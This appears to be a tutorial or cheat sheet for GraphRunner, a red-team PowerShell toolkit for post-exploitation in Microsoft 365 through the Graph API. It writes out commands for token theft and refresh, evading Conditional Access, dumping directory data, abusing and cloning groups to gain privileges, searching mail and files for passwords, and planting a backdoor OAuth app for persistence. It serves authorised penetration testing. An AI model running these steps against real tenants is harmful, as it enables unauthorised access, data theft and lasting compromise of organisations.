GraphRunner

https://github.com/dafthack/GraphRunner

Written by Kaitlyn Wimberley
Reviewed by Beau Bullock || 𝕏 @dafthack

GraphRunner is a collection of post-exploitation PowerShell modules for interacting with the Microsoft Graph API. It provides modules for enumeration, exfiltration, persistence, and more!

Installation

```
git clone https://github.com/dafthack/GraphRunner
cd GraphRunner
Import-Module .\GraphRunner.ps1
```

List all of the available GraphRunner modules:

```
List-GraphRunnerModules
```

Obtaining Tokens

Obtain tokens with the Device Code authentication flow:

```
Get-GraphTokens
```

(Requests tokens for the Microsoft Office client, graph.microsoft.com resource, and Chrome on macOS user agent)

Specify the Client, Resource, and User Agent used in the token request:

```
Get-GraphTokens -Client AzureManagement -Resource
https://graph.windows.net -Browser Android -Device Mac
```

Conditional Access policies can often be subverted by choosing the right values here.

Specify a custom Client by Client ID:

```
Get-GraphTokens -Client Custom -ClientID "e9c51622-
460d-4d3d-952d-966a5b1da34c"
```

Tokens will automatically be written to the variable `$tokens`.

Already have tokens? Import them with

```
Invoke-ImportTokens -AccessToken "eyJ..." -RefreshToken
"0.A..."
```

By default, access tokens expire between 60-90 minutes after issue.

Refresh an expired access token with

```
Invoke-RefreshGraphTokens
```

OR use `Invoke-AutoTokenRefresh` to automatically refresh the token periodically.

```
Invoke-AutoTokenRefresh -RefreshToken $tokens.refresh_
token -tenantid "example.com" -RefreshInterval 42
```

Enumerate Permissions

Different actions within the Graph API (and therefore GraphRunner) require different scopes. Enumerate the permissions associated with multiple client applications to determine which ones will give you the permissions you need:

```
Invoke-BruteClientIDAccess -domain example.com
-refreshToken $tokens.refresh_token
```

Great reference for Graph permissions:
https://graphpermissions.merill.net/permission/

GraphRun All the Things

```
Invoke-GraphRunner -Tokens $tokens
```

This module is a wrapper that runs:

- **Invoke-GraphRecon** - Gathers various reconnaissance data such as authorization policies, main contact information, and user settings.
- **Get-AzureADUsers** - Gathers all users from the directory.
- **Get-SecurityGroups** - Lists all security groups and their members.
- **Invoke-DumpCAPS** - Gathers conditional access policies.
  - **Review these to identify restrictions you'll need to work around or exceptions you can take advantage of.**
- **Invoke-DumpApps** - Gathers tenant's registered applications, with permission scopes and consented users, and external applications that users consented to.
- **Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive**, and **Invoke-SearchTeams** - Search the user's mailbox as well as accessible SharePoint sites, OneDrives, and Teams channels/messages for interesting content using the GraphRunner default_detectors.json rules.

Groups, Groups, and More Groups

Find groups that your user has the ability to update:

```
Get-UpdatableGroups -Tokens $tokens
```

Add your user to an updateable group:

```
Invoke-AddGroupMember -Tokens $tokens -groupID <GUID>
-userId <OID>
```

This may give you access to additional permissions, SharePoint sites, or Teams channels. You need the target Group ID and the user OID:

(`Get-UserObjectID -Tokens $tokens -upn "user@example.com"`).

Find dynamic groups:

```
Get-DynamicGroups -Tokens $tokens
```

This type of group dynamically adds members based on membership rules, such as:

```
MembershipRule: (user.city -eq "Deadwood")
```

Try modifying your user to match a rule, or inviting a guest with matching attributes, and see them automagically be added to the group.

"Clone" Security Groups:

```
Invoke-SecurityGroupCloner -Tokens $tokens
```

Create a new security group with an identical name to an existing (hopefully juicy-looking) group and add yourself and the members of the original group. Administrators might inadvertently make updates to the doppelgänger group instead of the original, potentially granting you privileges or access intended for members of the real group.

Pillaging

Search SharePoint and OneDrive for files containing "password" (including images and meeting transcripts):

```
Invoke-SearchSharePointAndOneDrive -Tokens $tokens
-SearchTerm "password" -OutFile sharepoint-password-
search
```

`Invoke-SearchTeams` and `Invoke-SearchMailbox` provide the same functionality for Teams and Outlook.

Find mailboxes with open permissions:

```
Invoke-GraphOpenInboxFinder -Tokens $tokens -userlist
./users.txt
```

Try the user list obtained from Get-AzureADUsers.

Ooey GUI

Open GraphRunnerGUI.html from the GraphRunner directory and copy your access token into the Access Token field. From here, you can:

- Craft custom API queries.
- Perform graphical exploration of users, groups, emails, Teams chats, and SharePoint/OneDrive files.

Persistence: OAuth App Injection

Users can deploy an application to the tenant with a number of delegated privileges. If we deploy an app and consent to it as a compromised user, then we can authenticate using the service principal credentials to access these delegated permissions.

1. `Invoke-InjectOAuthApp -AppName "Very Trustworthy App" -ReplyUrl "<http://localhost:8000>" -scope "op backdoor" -Tokens $tokens`
   The scope "op backdoor" grants several common permissions, including mail, Teams, and files access. Other hard-coded scopes are included in GraphRunner, or you can specify your own.
2. In a second terminal, run the `Invoke-AutoOAuthFlow` command that is output.
3. In a browser, navigate to the `login.microsoft.com` oauth2 link output by the first command and consent.
4. The second terminal will save a new set of tokens to `$apptokens`.

Using these tokens with a GraphRunner module will leverage the delegated permissions of the OAuth application that you just consented to. If the user changes their password, you will still have access as the app!

Learn more here:

https://www.blackhillsinfosec.com/introducing-graphrunner/